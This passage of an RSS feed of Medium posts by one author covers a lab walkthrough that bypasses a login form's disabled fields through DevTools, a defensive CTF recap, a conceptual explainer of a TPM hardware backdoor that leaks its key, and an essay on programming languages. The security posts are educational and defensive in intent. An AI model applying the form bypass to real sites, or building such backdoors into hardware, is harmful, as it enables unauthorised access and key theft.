            <content:encoded><![CDATA[<p>The login form (auth-login, authbutton) had both fields marked disabled. This is a purely client-side restriction: it only lives in the browser&#39;s DOM and is never sent to the server, which therefore has no way to check for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zSoJHTT21uTIwLUwTdYMLQ.jpeg" /></figure><p>The login form had two elements marked disabled:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CZ0cI60Bis5dloiScPwLxQ.png" /><figcaption><strong>disabled</strong> only lives in the browser&#39;s DOM — it&#39;s never sent to the server, so the server has no way to enforce or even detect it.</figcaption></figure><p>Double-click the disabled attribute on the text input and delete it. Do the same on the submit button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cG-yzpTcAmrIcip2aL_gqg.png" /><figcaption>Both elements are now usable as a normal form.</figcaption></figure><p>Type any value (test for example) in the text field and click “Member access”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vQXknsCJc3QHQKWdmdTFtg.png" /></figure><p>The browser submits a normal POST with auth login=&lt;value&gt;&amp;authbutton=Member access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*E0wN-OCTx3qzwyvmWTNnzg.png" /></figure><p><strong>Lesson:</strong> any restriction enforced only via HTML/JS (disabled, hidden, client-side validation) is not a real control — editing the DOM in DevTools is enough to bypass it, since the browser still sends whatever name/value pairs the form defines, regardless of their disabled state.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=198e2bfa85a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Operation Cymbal: Cold Room. The method behind 18/18]]></title>
            <link>https://medium.com/@mikgrimaldi7/operation-cymbal-cold-room-the-method-behind-18-18-5764de8d4cd4?source=rss-c27f90fcde8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/5764de8d4cd4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Michele Grimaldi]]></dc:creator>
            <pubDate>Mon, 02 Nov 2026 09:44:07 GMT</pubDate>
            <atom:updated>2026-11-02T09:44:07.114Z</atom:updated>
            <content:encoded><![CDATA[<p>I took part in <strong>Operation Cymbal: Cold Room</strong>, the CTF by the Google Cloud Security Community and Hack The Box. Result: <strong>3/3 scenarios, 18/18 challenges, 2,075 points, 551st of 1,716 teams</strong> (team DeadAir).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d1EMod8cqkwCt5qvU5xdcw.jpeg" /></figure><p>It’s not an offensive CTF: you play a SOC analyst inside <strong>Google SecOps</strong> and reconstruct intrusions from the logs. Three categories (Investigation, Threat Hunting, AI Misuse), three very different attacks, including one with malware that uses an LLM at runtime. No solutions here, only the method.</p><h3>A platform built around AI</h3><p>SecOps normalizes logs into a single data model (UDM) and layers cases, detections, threat intelligence and Gemini on top. Google calls it the “Agentic SOC”: agents handle triage and research, the analyst verifies and decides. From the search bar I could describe what I was looking for and Gemini generated the query (the side chat panel wasn’t enabled in my instance). In parallel, I worked with an external AI assistant that helped me reason backwards from the evidence.</p><h3>The method</h3><ol><li><strong>Documentation before queries.</strong> When I was stuck, the answer was in the parser: every log source maps data to specific UDM fields.</li><li><strong>Search for what you know.</strong> A model name, a filename or an IP beats an event type you only imagine exists.</li><li><strong>If it’s not in a field, it’s in the command line.</strong></li><li><strong>Check the roles.</strong> Who acts and who is acted upon live in different fields.</li><li><strong>Anchor environment and date.</strong> The shared tenant was full of noise from other scenarios.</li><li><strong>Read in time order.</strong> The cause sits right before the effect.</li></ol><h3>What I take away</h3><p>The skill wasn’t writing the query: it was knowing what to ask, where to look, and verifying every answer against the logs. For a whole session we went in circles guessing field names, and the turning point was stopping and going back to the method. It’s a skill I also bring to my work on AI agent security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5764de8d4cd4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB “Try Out” — Hardware: Anatomy of a TPM Backdoor]]></title>
            <link>https://medium.com/@mikgrimaldi7/htb-try-out-hardware-anatomy-of-a-tpm-backdoor-aa8e4fd7139b?source=rss-c27f90fcde8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa8e4fd7139b</guid>
            <category><![CDATA[crypto]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hardware]]></category>
            <category><![CDATA[tmp]]></category>
            <dc:creator><![CDATA[Michele Grimaldi]]></dc:creator>
            <pubDate>Sun, 25 Oct 2026 19:06:56 GMT</pubDate>
            <atom:updated>2026-10-25T20:01:59.975Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a technical deep-dive into the architecture of a simplified TPM (Trusted Platform Module) chip, inspired by the HTB Try Out Hardware challenge <em>“It’s Oops PM”</em>. The challenge is currently live, so this writeup covers only the educational and architectural side — no flags, no solutions, no exploit commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U6LQZlX9mfIcIzboEj9_uw.png" /><figcaption>TPM (Trusted Platform Module)</figcaption></figure><h3>What is a TPM?</h3><p>A TPM (Trusted Platform Module) is a dedicated <strong>security chip</strong> that lives on a <strong>device’s motherboard</strong>. Its job is to <strong>manage cryptographic keys</strong>, verify boot integrity, and <strong>handle remote attestation</strong>. Real-world TPMs are complex pieces of silicon — what you encounter in this challenge is a <strong>simplified 16-bit educational model written in VHDL</strong>, but the functional blocks mirror a real architecture.</p><p>The chip is built from 4 interconnected modules:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*ZjO3tz7a6gct3RGJCc-DzA.png" /></figure><p>The <strong>MUX (multiplexer)</strong> is the <strong>decision point</strong> — think of a <strong>railway switch</strong>. A control signal decides which track the data takes. Under normal conditions, the chip does its job (encrypts and outputs the result). <strong><em>But when a specific condition is met, the MUX can be made to betray its purpose.</em></strong></p><h3>The building blocks</h3><p><strong>Key Storage</strong> — The simplest component: a <strong>register holding a hardcoded cryptographic key</strong>. In real <strong>TPMs</strong>, keys are <strong>generated and protected in hardware</strong> (fuses, protected SRAM, PUFs). Here it’s a VHDL constant — the chip’s secret.</p><p><strong>Crypto Engine</strong> —<strong> Takes input data and the key</strong>, produces <strong>encrypted output</strong>. The core operation is <strong>XOR</strong> — the foundation of any symmetric cipher, from Vernam/OTP to AES’s internal rounds. A direct bit-by-bit XOR is trivial to reverse, but this engine has an intentional weakness: a few output bits ignore the input entirely and depend only on the key. Regardless of what data you send, those bits are always the same. In a real context, this would be a severe cryptographic vulnerability — it reduces the effective cipher space.</p><p><strong>Comparator (Logic block)</strong> — A pure comparator: it <strong>checks the input against a hardcoded pattern</strong>. If the input matches exactly, the output signal goes high. Otherwise it stays low. This is the anatomy of a hardware backdoor — a hidden condition in the silicon that triggers undocumented behavior. This is exactly the kind of threat discussed in supply chain security debates around telecom chips. No software audit would find it because it lives at the gate level.</p><p><strong>Top-Level (MUX)</strong> — The module that ties everything together. The multiplexer is controlled by the comparator’s output signal. In normal operation it passes encrypted data through. <strong>When the backdoor fires, it switches tracks and outputs the raw secret key instead</strong> — the chip betrays the secret it was built to protect.</p><h3>STEPS</h3><ol><li>You send a <strong>16-bit input</strong></li><li>The <strong>crypto engine encrypts</strong> it via <strong>XOR</strong> using the <strong>KEY</strong> → <strong>produces encrypted output</strong></li><li>In parallel, the <strong>comparator checks your input</strong> against the PATTERN (not the key)</li><li>No match → the <strong>MUX passes the encrypted output</strong> through (normal behavior)</li><li>Match → the <strong>MUX switches and outputs the raw KEY in plaintext</strong></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa8e4fd7139b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[You’re Not Learning a New Programming Language. You’re Changing a Few Parameters.]]></title>
            <link>https://medium.com/@mikgrimaldi7/youre-not-learning-a-new-programming-language-you-re-changing-a-few-parameters-e1d3ab3b49ce?source=rss-c27f90fcde8e------2</link>
            <guid isPermaLink="false">https://medium.com/p/e1d3ab3b49ce</guid>
            <category><![CDATA[computer-science]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[programming-languages]]></category>
            <category><![CDATA[software-engineering]]></category>
            <dc:creator><![CDATA[Michele Grimaldi]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 11:34:12 GMT</pubDate>
            <atom:updated>2026-10-22T11:34:12.045Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Once you know the shared base, Rust, Go or Zig stop being a leap into the unknown and become a better question: what is different from what I already know?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*9M_pjLRzNtm2xUozXr_SEQ.png" /></figure><p>There comes a moment when a new language stops being intimidating. It’s not because you got better at memorizing syntax. It’s because you notice something uncomfortable and liberating at once: <strong>languages are far less different than they look.</strong></p><p>Syntax churns constantly. let, val, var, def, fn and func are different words for the same gesture. <em>What actually changes, and what actually costs you time, is a small number of foundational choices.</em> Recognize them and a new language becomes a map you already carry, with a few parameters set differently.</p><h3>Syntax vs. semantics</h3><p>A programming language is a formal language: symbols plus rules for <strong>writing instructions</strong> a machine can execute without ambiguity. Those rules split in two.</p><ul><li><strong>Syntax</strong> is the <strong>shape</strong> a program can take.</li><li><strong>Semantics</strong> is <strong>what that shape means</strong> when it runs.</li></ul><p>You learn syntax over a weekend and forget it in a week. <strong><em>Semantics is what sticks, and it is remarkably similar from one language to the next</em></strong>.</p><p>One common misconception: “compiled” versus “interpreted” describes an <em>implementation</em>, not a language.</p><h3>The universal core</h3><p>Almost every language gives you the same building blocks:</p><ul><li><strong>Values and types.</strong> The type tells you <strong>how to read the bits</strong>: the same two bytes, 0x4100, can be the integer 16640 or the string &quot;A&quot; plus a terminator.</li><li><strong>Variables</strong>, <strong>expressions</strong> (which produce values) and <strong>statements</strong> (which produce effects).</li><li><strong>Scope.</strong> The part of the program where a name is valid, whatever the language calls it.</li><li><strong>Functions.</strong> At the machine level, usually a stack frame created on call and destroyed on return.</li><li><strong>Modules and namespaces.</strong> Scope at a larger scale: math.sin, java.util.*, std::.</li><li><strong>Abstraction.</strong> Hiding details behind an interface. Every paradigm is a different way of doing it.</li></ul><p>Know these in one language and you will recognize them in all the others. Your first day with a new language is mostly spent learning new <em>names</em> for things you already know.</p><h3>Six parameters that actually change</h3><p>These are the questions worth asking any new language before writing a line of it:</p><ol><li><strong>Memory.</strong> Manual (C, C++), garbage collected (Java, C#, Go, Python, JavaScript), ownership and borrowing (Rust: one owner, borrows checked at compile time, memory safety without a GC), reference counting (Swift, shared_ptr, CPython alongside a cycle collector), or arenas (game engines, idiomatic Zig). Stack and heap exist everywhere; what changes is who decides when and where.</li><li><strong>Types.</strong> Static or dynamic? Inference? Generics? Traits or interfaces? A type system exists to reduce bugs from illegal operations on incompatible values, and it doubles as documentation and as a hint for the optimizer. “Strong vs. weak” is used inconsistently, so treat it with caution.</li><li><strong>Concurrency.</strong> Threads and mutexes (C++, Java), CSP with channels (Go), actors (Erlang, Elixir), async/await (C#, Python, JavaScript). This tells you what idiomatic code looks like.</li><li><strong>Abstractions.</strong> Procedural, object-oriented, functional, generic, data-oriented. Most languages are multiparadigm, but each nudges you somewhere: Rust has traits but no class inheritance, Go has interfaces but no classes.</li><li><strong>Execution.</strong> Ahead-of-time (C, C++, Rust, Zig, Go), bytecode on a VM with a JIT (Java, C#), or interpreted with an optional JIT (Python, JavaScript). It shapes your build loop, your deployment and where to look for bottlenecks.</li><li><strong>Philosophy.</strong> What the language optimizes for. Rust and Zig: performance without hidden costs. Go: simplicity. Python: productivity. Java and .NET: ecosystem and portability. This question explains the other five.</li></ol><h3>An example: from C# to Go</h3><p>Say you know C# and want to learn Go. You don’t start from zero; you compare.</p><ul><li><strong>Memory:</strong> garbage collected in both, so the mental model carries over.</li><li><strong>Types:</strong> static in both, but Go is more minimal, and its interfaces are satisfied structurally, without being declared.</li><li><strong>Concurrency:</strong> the real jump. Where C# uses async/await and Task, Go uses goroutines and channels.</li><li><strong>Abstractions:</strong> no classes, no inheritance; composition and interfaces instead.</li><li><strong>Execution:</strong> one static native binary, no VM.</li><li><strong>Philosophy:</strong> simplicity and readability, even at the cost of expressiveness.</li></ul><p>Of six dimensions, four are <strong>nearly identical</strong>, one differs slightly, and <strong>one</strong> requires a genuine change in how you think. That is where the real work is. Everything else is syntax and standard library.</p><p>Run the same exercise from C++ to Rust and the pattern repeats: ahead-of-time compilation, no GC, generics, deterministic destruction. The only real shift is ownership enforced by the compiler. If you already know <em>why</em> use-after-free and data races happen, the borrow checker stops being an enemy and becomes a formalization of rules you already knew had to hold.</p><h3>Conclusion</h3><p>The wrong question about a new language is <em>“how do I write a loop?”</em> The right one is <strong><em>“how does this differ from what I know, and on which of the six dimensions?”</em></strong></p><p>The first leads to memorizing syntax. The second leads to <strong>understanding design</strong>, and that is what separates people who <em>use</em> a language from people who <em>understand</em> it, which matters most when a program breaks in production and no documentation told you why.</p><p>Learn the fundamentals once. After that, every new language is mostly a diff.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e1d3ab3b49ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>